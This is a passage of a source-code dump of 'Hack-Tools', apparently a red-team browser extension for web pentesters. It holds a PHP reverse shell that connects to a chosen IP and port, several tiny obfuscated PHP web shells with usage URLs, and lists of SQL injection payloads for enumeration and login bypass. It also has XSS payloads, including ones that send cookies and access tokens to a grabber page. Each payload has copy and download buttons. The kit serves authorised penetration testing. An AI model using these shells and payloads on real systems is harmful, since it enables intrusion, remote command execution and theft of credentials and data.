printit(\"ERROR: Can't spawn shell\");\r\n    exit(1);\r\n  }\r\n\r\n  // Set everything to non-blocking\r\n  // Reason: Occsionally reads will block, even though stream_select tells us they won't\r\n  stream_set_blocking($pipes[0], 0);\r\n  stream_set_blocking($pipes[1], 0);\r\n  stream_set_blocking($pipes[2], 0);\r\n  stream_set_blocking($sock, 0);\r\n\r\n  printit(\"Successfully opened reverse shell to $ip:$port\");\r\n\r\n  while (1) {\r\n    // Check for end of TCP connection\r\n    if (feof($sock)) {\r\n      printit(\"ERROR: Shell connection terminated\");\r\n      break;\r\n    }\r\n\r\n    // Check for end of STDOUT\r\n    if (feof($pipes[1])) {\r\n      printit(\"ERROR: Shell process terminated\");\r\n      break;\r\n    }\r\n\r\n    // Wait until a command is end down $sock, or some\r\n    // command output is available on STDOUT or STDERR\r\n    $read_a = array($sock, $pipes[1], $pipes[2]);\r\n    $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);\r\n\r\n    // If we can read from the TCP socket, send\r\n    // data to process's STDIN\r\n    if (in_array($sock, $read_a)) {\r\n      if ($debug) printit(\"SOCK READ\");\r\n      $input = fread($sock, $chunk_size);\r\n      if ($debug) printit(\"SOCK: $input\");\r\n      fwrite($pipes[0], $input);\r\n    }\r\n\r\n    // If we can read from the process's STDOUT\r\n    // send data down tcp connection\r\n    if (in_array($pipes[1], $read_a)) {\r\n      if ($debug) printit(\"STDOUT READ\");\r\n      $input = fread($pipes[1], $chunk_size);\r\n      if ($debug) printit(\"STDOUT: $input\");\r\n      fwrite($sock, $input);\r\n    }\r\n\r\n    // If we can read from the process's STDERR\r\n    // send data down tcp connection\r\n    if (in_array($pipes[2], $read_a)) {\r\n      if ($debug) printit(\"STDERR READ\");\r\n      $input = fread($pipes[2], $chunk_size);\r\n      if ($debug) printit(\"STDERR: $input\");\r\n      fwrite($sock, $input);\r\n    }\r\n  }\r\n\r\n  fclose($sock);\r\n  fclose($pipes[0]);\r\n  fclose($pipes[1]);\r\n  fclose($pipes[2]);\r\n  proc_close($process);\r\n\r\n  // Like print, but does nothing if we've daemonised ourself\r\n  // (I can't figure out how to redirect STDOUT like a proper daemon)\r\n  function printit ($string) {\r\n    if (!$daemon) {\r\n      print \"$string\\n\";\r\n    }\r\n  }\r\n\r\n  ?> \r\n  `;\r\n    return (\r\n        <div>\r\n            {contextHolder}\r\n            <div>\r\n                <Title level={2} style={{ fontWeight: 'bold', margin: 15 }}>\r\n                    PHP Reverse Shell\r\n                </Title>\r\n                <Paragraph style={{ margin: 15 }}>\r\n                    Attackers who successfully exploit a remote command execution vulnerability can use a reverse shell to\r\n                    obtain an interactive shell session on the target machine and continue their attack.\r\n                </Paragraph>\r\n                <div style={{ padding: 15 }}>\r\n                    <Row gutter={{ xs: 8, sm: 16, md: 24, lg: 32 }}>\r\n                        <Col span={12}>\r\n                            <Input\r\n                                maxLength={15}\r\n                                prefix={<WifiOutlined />}\r\n                                name='Ip adress'\r\n                                placeholder='IP Address or domain (ex: 212.212.111.222)'\r\n                                onChange={handleChange( 'ip' )}\r\n                                value={values.ip}\r\n                            />\r\n                        </Col>\r\n                        <Col span={12}>\r\n                            <Input\r\n                                maxLength={5}\r\n                                prefix={<IconFont type='icon-Network-Plug' />}\r\n                                name='Port'\r\n                                placeholder='Port (ex: 1337)'\r\n                                onChange={handleChange( 'port' )}\r\n                                value={values.port}\r\n                            />\r\n                        </Col>\r\n                    </Row>\r\n                </div>\r\n            </div>\r\n            <Divider orientation='center'>Pentestmonkey's reverse shell</Divider>\r\n            <div\r\n                style={{\r\n                    padding: 15,\r\n                    marginTop: 15\r\n                }}\r\n            >\r\n                <Paragraph>This script will make an outbound TCP connection to a hardcoded IP and port.</Paragraph>\r\n                <Collapse defaultActiveKey={[ '0' ]}>\r\n                    <Panel header='View the souce code' key='1'>\r\n                        <SyntaxHighlighter language='php' style={vs2015} showLineNumbers={true}>\r\n                            {pretty( phpReverseShell )}\r\n                        </SyntaxHighlighter>\r\n                        <Button href=\"https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php\" target='blank' type='dashed' style={{ marginBottom: 10, marginTop: 15 }}>\r\n                            <ArrowsAltOutlined style={{ marginRight: 10 }} />\r\n                            Pentestmonkey's repository\r\n                        </Button>\r\n                    </Panel>\r\n                </Collapse>\r\n                <Button\r\n                    type='primary'\r\n                    style={{ marginBottom: 10, marginTop: 15 }}\r\n                    onClick={() => {\r\n                        const element = document.createElement( 'a' );\r\n                        const file = new Blob( [ phpReverseShell ], {\r\n                            type: 'text/plain'\r\n                        } );\r\n                        element.href = URL.createObjectURL( file );\r\n                        element.download = 'rev.php';\r\n                        document.body.appendChild( element );\r\n                        element.click();\r\n                    }}\r\n                >\r\n                    <DownloadOutlined />\r\n                    Download\r\n                </Button>\r\n                <Clipboard component='a' data-clipboard-text={phpReverseShell}>\r\n                    <Button\r\n                        type='dashed'\r\n                        style={{ marginBottom: 10, marginTop: 15, marginLeft: 15 }}\r\n                        onClick={successInfoReverseShell}\r\n                    >\r\n                        <CopyOutlined />\r\n                        Copy\r\n                    </Button>\r\n                </Clipboard>\r\n            </div>\r\n            <Divider orientation=\"center\">Basic RCE</Divider>\r\n            <div\r\n                style={{\r\n                    padding: 15,\r\n                    marginTop: 15\r\n                }}\r\n            >\r\n                <Paragraph>\r\n                    When you have successfully uploaded your payload, just put your commands after the variable ?cmd=\r\n                    (ex: ?cmd=ls -la\")\r\n                </Paragraph>\r\n                <Paragraph><pre><Text copyable>{oneLiner}</Text></pre></Paragraph>\r\n                <Button\r\n                    type='primary'\r\n                    style={{ marginBottom: 10, marginTop: 15 }}\r\n                    onClick={() => {\r\n                        const element = document.createElement( 'a' );\r\n                        const file = new Blob( [ oneLiner ], {\r\n                            type: 'text/plain'\r\n                        } );\r\n                        element.href = URL.createObjectURL( file );\r\n                        element.download = 'basicRCE.php';\r\n                        document.body.appendChild( element );\r\n                        element.click();\r\n                    }}\r\n                >\r\n                    <DownloadOutlined />\r\n                    Download\r\n                </Button>\r\n                <Clipboard component='a' data-clipboard-text={oneLiner}>\r\n                    <Button\r\n                        type='dashed'\r\n                        style={{ marginBottom: 10, marginTop: 15, marginLeft: 15 }}\r\n                        onClick={successInfoReverseShell}\r\n                    >\r\n                        <CopyOutlined />\r\n                        Copy\r\n                    </Button>\r\n                </Clipboard>\r\n            </div>\r\n            <Divider orientation=\"center\">Web Shell</Divider>\r\n            <div\r\n                style={{\r\n                    padding: 15,\r\n                    marginTop: 15\r\n                }}\r\n            >\r\n                <Paragraph>\r\n                    p0wny@shell:~# is a very basic, single-file, PHP shell. It can be used to quickly execute commands\r\n                    on a server when pentesting a PHP application.\r\n                </Paragraph>\r\n                <Collapse defaultActiveKey={[ '0' ]}>\r\n                    <Panel header='Watch the preview' key='1'>\r\n                        <img\r\n                            src='https://i.imgur.com/ALPFDj0.png'\r\n                            alt='pownyShell'\r\n                            style={{ height: '100%', width: '100%' }}\r\n                        />\r\n                    </Panel>\r\n                </Collapse>\r\n                <Button href=\"https://raw.githubusercontent.com/flozz/p0wny-shell/master/shell.php\" target='blank' type='primary' style={{ marginBottom: 10, marginTop: 15 }}>\r\n                    <DownloadOutlined /> Download\r\n                </Button>\r\n                <Button href='https://github.com/flozz/p0wny-shell' target='blank' type='dashed' style={{ marginBottom: 10, marginTop: 15, marginLeft: 15 }}>\r\n                    <ArrowsAltOutlined /> Flozz's repository\r\n                </Button>\r\n            </div>\r\n            <Divider orientation=\"center\">Obfuscated PHP Web Shell</Divider>\r\n            <div\r\n                style={{\r\n                    padding: 15,\r\n                    marginTop: 15\r\n                }}\r\n            >\r\n                <Paragraph><pre><Text copyable>{'<?=`$_GET[0]`?>'}</Text></pre></Paragraph>\r\n                <Paragraph>{' Usage : http://target.com/path/to/shell.php?0=command '}</Paragraph>\r\n                <Button\r\n                    type='primary'\r\n                    style={{ marginBottom: 10, marginTop: 15 }}\r\n                    onClick={() => {\r\n                        const element = document.createElement( 'a' );\r\n                        const file = new Blob( [ '<?=`$_GET[0]`?>' ], {\r\n                            type: 'text/plain'\r\n                        } );\r\n                        element.href = URL.createObjectURL( file );\r\n                        element.download = 'obfuscateShell.php';\r\n                        document.body.appendChild( element );\r\n                        element.click();\r\n                    }}\r\n                >\r\n                    <DownloadOutlined /> Download\r\n                </Button>\r\n                <Clipboard component='a' data-clipboard-text={'<?=`$_GET[0]`?>'}>\r\n                    <Button type='dashed' style={{ marginBottom: 10, marginTop: 15, marginLeft: 15 }} onClick={successInfoReverseShell}>\r\n                        <CopyOutlined /> Copy\r\n                    </Button>\r\n                </Clipboard>\r\n            </div>\r\n            <div\r\n                style={{\r\n                    padding: 15,\r\n                    marginTop: 15\r\n                }}\r\n            >\r\n                <Paragraph><pre><Text copyable>{'<?=`$_POST[0]`?>'}</Text></pre></Paragraph>\r\n                <Paragraph>{' Usage :   curl -X POST http://target.com/path/to/shell.php -d \"0=command\" '}</Paragraph>\r\n                <Button\r\n                    type='primary'\r\n                    style={{ marginBottom: 10, marginTop: 15 }}\r\n                    onClick={() => {\r\n                        const element = document.createElement( 'a' );\r\n                        const file = new Blob( [ '<?=`$_POST[0]`?>' ], {\r\n                            type: 'text/plain'\r\n                        } );\r\n                        element.href = URL.createObjectURL( file );\r\n                        element.download = 'obfuscateShell.php';\r\n                        document.body.appendChild( element );\r\n                        element.click();\r\n                    }}\r\n                >\r\n                    <DownloadOutlined /> Download\r\n                </Button>\r\n                <Clipboard component='a' data-clipboard-text={'<?=`$_POST[0]`?>'}>\r\n                    <Button type='dashed' style={{ marginBottom: 10, marginTop: 15, marginLeft: 15 }} onClick={successInfoReverseShell}>\r\n                        <CopyOutlined /> Copy\r\n                    </Button>\r\n                </Clipboard>\r\n            </div>\r\n            <div\r\n                style={{\r\n                    padding: 15,\r\n                    marginTop: 15\r\n                }}\r\n            >\r\n                <Paragraph><pre><Text copyable>{\"<?=`{$_REQUEST['_']}`?>\"}</Text></pre></Paragraph>\r\n                <Paragraph>Usage :</Paragraph>\r\n                <Paragraph>- http://target.com/path/to/shell.php?_=command</Paragraph>\r\n                <Paragraph>- curl -X POST http://target.com/path/to/shell.php -d \"_=command\" '</Paragraph>\r\n                <Button\r\n                    type='primary'\r\n                    style={{ marginBottom: 10, marginTop: 15 }}\r\n                    onClick={() => {\r\n                        const element = document.createElement( 'a' );\r\n                        const file = new Blob( [ \"<?=`{$_REQUEST['_']}`?>\" ], {\r\n                            type: 'text/plain'\r\n                        } );\r\n                        element.href = URL.createObjectURL( file );\r\n                        element.download = 'obfuscateShell.php';\r\n                        document.body.appendChild( element );\r\n                        element.click();\r\n                    }}\r\n                >\r\n                    <DownloadOutlined /> Download\r\n                </Button>\r\n                <Clipboard component='a' data-clipboard-text={\"<?=`{$_REQUEST['_']}`?>\"}>\r\n                    <Button type='dashed' style={{ marginBottom: 10, marginTop: 15, marginLeft: 15 }} onClick={successInfoReverseShell}>\r\n                        <CopyOutlined /> Copy\r\n                    </Button>\r\n                </Clipboard>\r\n            </div >\r\n            <div\r\n                style={{\r\n                    padding: 15,\r\n                    marginTop: 15\r\n                }}\r\n            >\r\n                <Paragraph><pre><Text copyable>{shell_obfuscate}</Text></pre></Paragraph>\r\n                <Paragraph>Usage :</Paragraph>\r\n                <Paragraph>- http://target.com/path/to/shell.php?0=command</Paragraph>\r\n                <Button\r\n                    type='primary'\r\n                    style={{ marginBottom: 10, marginTop: 15 }}\r\n                    onClick={() => {\r\n                        const element = document.createElement( 'a' );\r\n                        const file = new Blob( [ shell_obfuscate ], {\r\n                            type: 'text/plain'\r\n                        } );\r\n                        element.href = URL.createObjectURL( file );\r\n                        element.download = 'obfuscateShell.php';\r\n                        document.body.appendChild( element );\r\n                        element.click();\r\n                    }}\r\n                >\r\n                    <DownloadOutlined /> Download\r\n                </Button>\r\n                <Clipboard component='a' data-clipboard-text={shell_obfuscate}>\r\n                    <Button type='dashed' style={{ marginBottom: 10, marginTop: 15, marginLeft: 15 }} onClick={successInfoReverseShell}>\r\n                        <CopyOutlined /> Copy\r\n                    </Button>\r\n                </Clipboard>\r\n            </div >\r\n            <div\r\n                style={{\r\n                    padding: 15,\r\n                    marginTop: 15\r\n                }}\r\n            >\r\n                <Paragraph><pre><Text copyable>{shell_obfuscate_function}</Text></pre></Paragraph>\r\n                <Paragraph>Usage :</Paragraph>\r\n                <Paragraph>- http://target.com/path/to/shell.php?_=function&__=argument</Paragraph>\r\n                <Paragraph>- http://target.com/path/to/shell.php?_=system&__=ls</Paragraph>\r\n                <Button\r\n                    type='primary'\r\n                    style={{ marginBottom: 10, marginTop: 15 }}\r\n                    onClick={() => {\r\n                        const element = document.createElement( 'a' );\r\n                        const file = new Blob( [ shell_obfuscate_function ], {\r\n                            type: 'text/plain'\r\n                        } );\r\n                        element.href = URL.createObjectURL( file );\r\n                        element.download = 'obfuscateShell.php';\r\n                        document.body.appendChild( element );\r\n                        element.click();\r\n                    }}\r\n                >\r\n                    <DownloadOutlined /> Download\r\n                </Button>\r\n                <Clipboard component='a' data-clipboard-text={shell_obfuscate_function}>\r\n                    <Button type='dashed' style={{ marginBottom: 10, marginTop: 15, marginLeft: 15 }} onClick={successInfoReverseShell}>\r\n                        <CopyOutlined /> Copy\r\n                    </Button>\r\n                </Clipboard>\r\n            </div >\r\n        </div >\r\n    );\r\n};\r\n"
  },
  {
    "path": "src/components/web/SqlInjection.tsx",
    "content": "import React from 'react';\nimport { Typography, Divider } from 'antd';\n\nconst { Title, Paragraph, Text, Link } = Typography;\n\nexport default function SQLi () {\n    const DbColumnNumber = [\n        {\n            db_type: 'MySQL/MSSQL/PGSQL',\n            title: \"'UNION SELECT NULL,NULL,NULL -- -\"\n        },\n        {\n            db_type: 'ORACLE',\n            title: \"'UNION SELECT NULL,NULL,NULL FROM DUAL -- -\"\n        },\n        {\n            db_type: 'MYSQL/MSSQL/PGSQL/ORACLE  - (add +1 until you get an exception)',\n            title: \"' UNION ORDER BY 1 -- -\"\n        },\n    ]\n\n    const DbVersionEnumeration = [\n        {\n            db_type: 'MySQL/MSSQL',\n            title: `' UNION SELECT @@version -- -`\n        },\n        {\n            db_type: 'Oracle',\n            title: `' UNION SELECT banner from v$version -- -`\n        },\n        {\n            db_type: 'Oracle(2nd method)',\n            title: `' UNION SELECT version from v$instance -- -`\n        },\n        {\n            db_type: 'Postgres',\n            title: `' UNION SELECT version() -- -`\n        }\n    ]\n\n    const DbTableEnumeration = [\n        {\n            db_type: 'MySQL/MSSQL/Postgres',\n            title: `' UNION SELECT table_name,NULL from INFORMATION_SCHEMA.TABLES -- -`\n        },\n        {\n            db_type: 'Oracle',\n            title: `' UNION SELECT table_name,NULL FROM all_tables  -- -`\n        },\n    ]\n\n    const DbColumnEnumeration = [\n        {\n            db_type: 'MySQL/MSSQL/Postgres',\n            title: `' UNION SELECT column_name,NULL from INFORMATION_SCHEMA.COLUMNS where table_name=\"X\" -- -`\n        },\n        {\n            db_type: 'Oracle',\n            title: `' UNION SELECT column_name,NULL FROM all_tab_columns where table_name=\"X\"  -- -`\n        },\n    ]\n\n    const DbColValueConcatenation = [\n        {\n            db_type: 'MySQL/Postgres',\n            title: `' UNION SELECT concat(col1,':',col2) from table_name limit 1 -- -`\n        },\n        {\n            db_type: 'MySQL(2nd method)',\n            title: `' UNION SELECT col1 ':' col2 from table_name limit 1 -- -`\n\n        },\n        {\n            db_type: 'Oracle / Postgres',\n            title: `' UNION SELECT select col1 ||':'||col2, null FROM  where table_name=\"X\"  -- -`\n        },\n        {\n            db_type: 'MSSQL',\n            title: `' UNION SELECT col1+':'+col2,NULL from table_name limit 1 -- -`\n        },\n    ]\n\n    const DbConditionalErrors = [\n        {\n            db_type: 'MySQL',\n            title: `' UNION SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a') -- -`\n        },\n        {\n            db_type: 'Postgres',\n            title: `' UNION SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN cast(1/0 as text) ELSE NULL END -- -`\n        },\n        {\n            db_type: 'Oracle',\n            title: `' UNION SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN to_char(1/0) ELSE NULL END FROM dual -- -`\n        },\n        {\n            db_type: 'MSSQL',\n            title: `' UNION SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END -- -`\n        },\n\n    ]\n    const TimeBased = [\n        { title: ',(select * from (select(sleep(10)))a)' },\n        { title: \"';WAITFOR DELAY '0:0:30'--\" }\n    ];\n\n    const AuthBased = [\n        { title: 'or true--' },\n        { title: '\") or true--' },\n        { title: \"') or true--\" },\n        { title: \"admin') or ('1'='1'--\" },\n        { title: \"admin') or ('1'='1'#\" },\n        { title: \"admin') or ('1'='1'/\" }\n    ];\n    const OrderUnion = [\n        { title: \"1' ORDER BY 1--+\" },\n        { title: \"1' ORDER BY 2--+\" },\n        { title: \"1' ORDER BY 3--+\" },\n        { title: \"1' ORDER BY 1,2--+\" },\n        { title: \"1' ORDER BY 1,2,3--+\" },\n        { title: \"1' GROUP BY 1,2,--+\" },\n        { title: \"1' GROUP BY 1,2,3--+\" },\n        { title: \"' GROUP BY columnnames having 1=1 --\" },\n        { title: \"-1' UNION SELECT 1,2,3--+\" },\n        { title: \"' UNION SELECT sum(columnname ) from tablename --\" },\n        { title: '-1 UNION SELECT 1 INTO @,@' },\n        { title: '-1 UNION SELECT 1 INTO @,@,@' },\n        { title: '1 AND (SELECT * FROM Users) = 1\t' },\n        { title: \"' AND MID(VERSION(),1,1) = '5';\" },\n        {\n            title: \"' and 1 in (select min(name) from sysobjects where xtype = 'U' and name > '.') --\"\n        }\n    ];\n    return (\n        <div>\n            <Title level={2} style={{ fontWeight: 'bold', margin: 15 }}>\n                SQL Injection\n            </Title>\n            <Paragraph style={{ margin: 15 }}>\n                SQL injection (SQLi) is an application security weakness that allows attackers to control an\n                application’s database letting them access or delete data, change an application’s data-driven behavior,\n                and do other undesirable things by tricking the application into sending unexpected SQL commands.\n            </Paragraph>\n            <Divider dashed />\n            <div style={{ padding: 10, marginTop: 15 }} key='a'>\n                <Title level={3}>Number of column</Title>\n                {DbColumnNumber.map( ( k, i ) => {\n                    return (\n                        <>\n                            <Paragraph key={i}>\n                                <Link href={`#${ k.db_type }`}>{k.db_type}</Link>\n                            </Paragraph>\n\n                            <Paragraph key={i}>\n                                <pre><Text copyable>{k.title}</Text></pre>\n                            </Paragraph>\n                        </>\n                    );\n                } )}\n            </div>\n            <Divider dashed />\n            <div style={{ padding: 10, marginTop: 15 }} key='a'>\n                <Title level={3}>Database enumeration</Title>\n                {DbVersionEnumeration.map( ( k, i ) => {\n                    return (\n                        <>\n                            <Paragraph key={i}>\n                                <Link href={`#${ k.db_type }`}>{k.db_type}</Link>\n                            </Paragraph>\n                            <Paragraph key={i}>\n                                <pre><Text copyable>{k.title}</Text></pre>\n                            </Paragraph>\n                        </>\n                    );\n                } )}\n            </div>\n            <Divider dashed />\n            <div style={{ padding: 10, marginTop: 15 }} key='a'>\n                <Title level={3}>Tablename enumeration</Title>\n                {DbTableEnumeration.map( ( k, i ) => {\n                    return (\n                        <>\n                            <Paragraph key={i}>\n                                <Link href={`#${ k.db_type }`}>{k.db_type}</Link>\n                            </Paragraph>\n                            <Paragraph key={i}>\n                                <pre><Text copyable>{k.title}</Text></pre>\n                            </Paragraph>\n                        </>\n                    );\n                } )}\n            </div>\n            <Divider dashed />\n            <div style={{ padding: 10, marginTop: 15 }} key='a'>\n                <Title level={3}>Column name enumeration</Title>\n                {DbColumnEnumeration.map( ( k, i ) => {\n                    return (\n                        <>\n                            <Paragraph key={i}>\n                                <Link href={`#${ k.db_type }`}>{k.db_type}</Link>\n                            </Paragraph>\n                            <Paragraph key={i}>\n                                <pre><Text copyable>{k.title}</Text></pre>\n                            </Paragraph>\n                        </>\n                    );\n                } )}\n            </div>\n            <Divider dashed />\n            <div style={{ padding: 10, marginTop: 15 }} key='a'>\n                <Title level={3}>Column values concatenation</Title>\n                {DbColValueConcatenation.map( ( k, i ) => {\n                    return (\n                        <>\n                            <Paragraph key={i}>\n                                <Link href={`#${ k.db_type }`}>{k.db_type}</Link>\n                            </Paragraph>\n                            <Paragraph key={i}>\n                                <pre><Text copyable>{k.title}</Text></pre>\n                            </Paragraph>\n                        </>\n                    );\n                } )}\n            </div>\n            <Divider dashed />\n            <div style={{ padding: 10, marginTop: 15 }} key='a'>\n                <Title level={3}>Conditional ( Error Based ) </Title>\n                {DbConditionalErrors.map( ( k, i ) => {\n                    return (\n                        <>\n                            <Paragraph key={i}>\n                                <Link href={`#${ k.db_type }`}>{k.db_type}</Link>\n                            </Paragraph>\n                            <Paragraph key={i}>\n                                <pre><Text copyable>{k.title}</Text></pre>\n                            </Paragraph>\n                        </>\n                    );\n                } )}\n            </div>\n            <Divider dashed />\n            <div\n                key='b'\n                style={{\n                    padding: 15,\n                    marginTop: 15\n                }}\n            >\n                <Title level={3}>Time-Based</Title>\n                {TimeBased.map( ( k, i ) => {\n                    return (\n                        <Paragraph key={i}>\n                            <pre><Text copyable>{k.title}</Text></pre>\n                        </Paragraph>\n                    );\n                } )}\n            </div>\n            <Divider dashed />\n            <div\n                key='c'\n                style={{\n                    padding: 15,\n                    marginTop: 15\n                }}\n            >\n                <Title level={3}>Generic Error Based Payloads</Title>\n                {DbConditionalErrors.map( ( k, i ) => {\n                    return (\n                        <Paragraph key={i}>\n                            <Link>{k.db_type}</Link>\n                            <pre><Text copyable>{k.title}</Text></pre>\n                        </Paragraph>\n                    );\n                } )}\n            </div>\n            <Divider dashed />\n            <div\n                key='d'\n                style={{\n                    padding: 15,\n                    marginTop: 15\n                }}\n            >\n                <Title level={3}>Authentication Based Payloads</Title>\n                {AuthBased.map( ( k, i ) => {\n                    return (\n                        <Paragraph key={i}>\n                            <pre><Text copyable>{k.title}</Text></pre>\n                        </Paragraph>\n                    );\n                } )}\n            </div>\n            <Divider dashed />\n            <div\n                key='e'\n                style={{\n                    padding: 15,\n                    marginTop: 15\n                }}\n            >\n                <Title level={3}>Order by and UNION Based Payloads</Title>\n                {OrderUnion.map( ( k, i ) => {\n                    return (\n                        <Paragraph key={i}>\n                            <pre><Text copyable>{k.title}</Text></pre>\n                        </Paragraph>\n                    );\n                } )}\n            </div>\n        </div>\n    );\n}\n"
  },
  {
    "path": "src/components/web/XSS.tsx",
    "content": "import React from 'react';\nimport { Typography, Divider } from 'antd';\n\nconst { Title, Paragraph, Text } = Typography;\n\nexport default function XSS () {\n    const DataGrabber = [\n        {\n            title: \"<script>document.location='http://localhost/XSS/grabber.php?c='+document.cookie</script>\"\n        },\n        {\n            title:\n                \"<script>document.location='http://localhost/XSS/grabber.php?c='+localStorage.getItem('access_token')</script>\"\n        },\n        {\n            title: \"<script>new Image().src='http://localhost/cookie.php?c='+document.cookie;</script>\"\n        },\n        {\n            title:\n                \"<script>new Image().src='http://localhost/cookie.php?c='+localStorage.getItem('access_token');</script>\"\n        }\n    ];\n    const BasicXSS = [\n        { title: \"<script>alert('XSS')</script>\" },\n        { title: \"<scr<script>ipt>alert('XSS')</scr<script>ipt>\" },\n        { title: '\"><script>alert(\"XSS\")</script>' },\n        { title: '\"><script>alert(String.fromCharCode(88,83,83))</script>' }\n    ];\n    const ImgPayload = [\n        { title: \"<img src=x onerror=alert('XSS');>\" },\n        { title: \"<img src=x onerror=alert('XSS')//\" },\n        { title: '<img src=x onerror=alert(String.fromCharCode(88,83,83));>' },\n        {\n            title: '<img src=x oneonerrorrror=alert(String.fromCharCode(88,83,83));>'\n        },\n        { title: '<img src=x:alert(alt) onerror=eval(src) alt=xss>' },\n        { title: '\"><img src=x onerror=alert(\"XSS\");>' },\n        { title: '\"><img src=x onerror=alert(String.fromCharCode(88,83,83));>' }\n    ];\n    const XSSMarkdown = [\n        { title: '[a](javascript:prompt(document.cookie))' },\n        { title: '[a](j a v a s c r i p t:prompt(document.cookie))' },\n        {\n            title: '[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)'\n        },\n        { title: '[a](javascript:window.onerror=alert;throw%201)' }\n    ];\n    const XSSSvg = [\n        {\n            title: \"<svg xmlns='http://www.w3.org/2000/svg' onload='alert(document.domain)'/>\"\n        },\n        { title: '<svg><desc><![CDATA[</desc><script>alert(1)</script>]]></svg>' },\n        {\n            title: '<svg><foreignObject><![CDATA[</foreignObject><script>alert(2)</script>]]></svg>'\n        },\n        {\n            title: '<svg><title><![CDATA[</title><script>alert(3)</script>]]></svg>'\n        }\n    ];\n    const BypassWord = [\n        { title: \"eval('ale'+'rt(0)');\" },\n        { title: \"Function('ale'+'rt(1)')();\" },\n        { title: 'new Function`alert`6``;' },\n        { title: \"setTimeout('ale'+'rt(2)');\" },\n        { title: \"setInterval('ale'+'rt(10)');\" },\n        { title: \"Set.constructor('ale'+'rt(13)')();\" },\n        { title: 'Set.constructor`al\\x65rt\\x2814\\x29```;' }\n    ];\n    return (\n        <div>\n            <Title level={2} style={{ fontWeight: 'bold', margin: 15 }}>\n                Cross Site Scripting (XSS)\n            </Title>\n            <Paragraph style={{ margin: 15 }}>\n                Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into\n                otherwise benign and trusted websites. XSS attacks occur when an attacker uses a web application to send\n                malicious code, generally in the form of a browser side script, to a different end user.\n            </Paragraph>\n            <Paragraph style={{ marginLeft: 15 }}>\n                Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses\n                input from a user within the output it generates without validating or encoding it.\n            </Paragraph>\n            <Divider orientation='center'>Data grabber for XSS</Divider>\n            <div\n                key='a'\n                style={{\n                    padding: 15\n                }}\n            >\n                <Paragraph>\n                    Obtains the administrator cookie or sensitive access token, the following payload will send it to a\n                    controlled page.\n                </Paragraph>\n                {DataGrabber.map( ( k, i ) => {\n                    return (\n                        <Paragraph key={i}>\n                            <pre><Text copyable>{k.title}</Text></pre>\n                        </Paragraph>\n                    );\n                } )}\n            </div>\n            <Divider orientation='center'>XSS in HTML/Applications</Divider>\n            <div\n                key='b'\n                style={{\n                    padding: 15\n                }}\n            >\n                {BasicXSS.map( ( k, i ) => {\n                    return (\n                        <Paragraph key={i}>\n                            <pre><Text copyable>{k.title}</Text></pre>\n                        </Paragraph>\n                    );\n                } )}\n                {ImgPayload.map( ( k, i ) => {\n                    return (\n                        <Paragraph key={i}>\n                            <pre><Text copyable>{k.title}</Text></pre>\n                        </Paragraph>\n                    );\n                } )}\n            </div>\n            <Divider orientation='center'>XSS in Markdown</Divider>\n            <div\n                key='c'\n                style={{\n                    padding: 15\n                }}\n            >\n                {XSSMarkdown.map( ( k, i ) => {\n                    return (\n                        <Paragraph key={i}>\n                            <pre><Text copyable>{k.title}</Text></pre>\n                        </Paragraph>\n                    );\n                } )}\n            </div>\n            <Divider orientation='center'>XSS in SVG (short)</Divider>\n            <div\n                key='d'\n                style={{\n                    padding: 15\n                }}\n            >\n                {XSSSvg.map( ( k, i ) => {\n                    return (\n                        <Paragraph key={i}>\n                            <pre><Text copyable>{k.title}</Text></pre>\n                        </Paragraph>\n                    );\n                } )}\n            </div>\n            <Divider orientation='center'>Bypass word blacklist with code evaluation</Divider>\n            <div\n                key='e'\n                style={{\n                    padding: 15\n                }}\n            >\n                {BypassWord.map( ( k, i ) => {\n                    return (\n                        <Paragraph key={i}>\n                            <pre><Text copyable>{k.title}</Text></pre>\n                        </Paragraph>\n                    );\n                } )}\n            </div>\n        </div>\n    );\n}\n"
  },
  {
    "path": "src/devtools/devtools.html",
    "content": "<!DOCTYPE html>\r\n<html>\r\n\r\n<head>\r\n    <script src=\"devtools.js\"></script>\r\n</head>\r\n\r\n</html>"
  },
  {
    "path": "src/devtools/devtools.js",
    "content": "navigator.userAgent.indexOf('Firefox') != -1 &&\r\n\tbrowser.devtools.panels.create('HackTools', 'get_started16.png', 'index.html');\r\n\r\nnavigator.userAgent.indexOf('Chrome') != -1 &&\r\n\tchrome.devtools.panels.create(\r\n\t\t'HackTools', // title for the panel tab\r\n\t\tnull, //   path to an icon\r\n\t\t'index.html', // html page which is gonna be injecting into the tab's content\r\n\t\tnull // callback function here\r\n\t);\r\n"
  },
  {
    "path": "src/index.html",
    "content": "<!DOCTYPE html>\r\n<html lang=\"en\">\r\n\r\n<head>\r\n    <meta charset=\"UTF-8\" />\r\n    <title>Hack-Tools</title>\r\n</head>\r\n\r\n<body>\r\n    <div id=\"app\"></div>\r\n</body>\r\n\r\n</html>"
  },
  {
    "path": "src/manifest.json",
    "content": "{\r\n    \"name\": \"Hack-Tools\",\r\n    \"version\": \"0.5.0\",\r\n    \"description\": \"The all in one Red team extension for web pentester\",\r\n    \"action\": {\r\n        \"default_title\": \"Hack-Tools\",\r\n        \"default_popup\": \"index.html\",\r\n        \"default_icon\": {\r\n            \"16\": \"./src/assets/img/icons/get_started16.png\",\r\n            \"32\": \"./src/assets/img/icons/get_started32.png\",\r\n            \"48\": \"./src/assets/img/icons/get_started48.png\",\r\n            \"128\": \"./src/assets/img/icons/get_started128.png\"\r\n        }\r\n    },\r\n    \"icons\": {\r\n        \"16\": \"./src/assets/img/icons/get_started16.png\",\r\n        \"32\": \"./src/assets/img/icons/get_started32.png\",\r\n        \"48\": \"./src/assets/img/icons/get_started48.png\",\r\n        \"128\": \"./src/assets/img/icons/get_started128.png\"\r\n    },\r\n    \"manifest_version\": 3,\r\n    \"devtools_page\": \"devtools.html\"\r\n}"
  },
  {
    "path": "tsconfig.json",
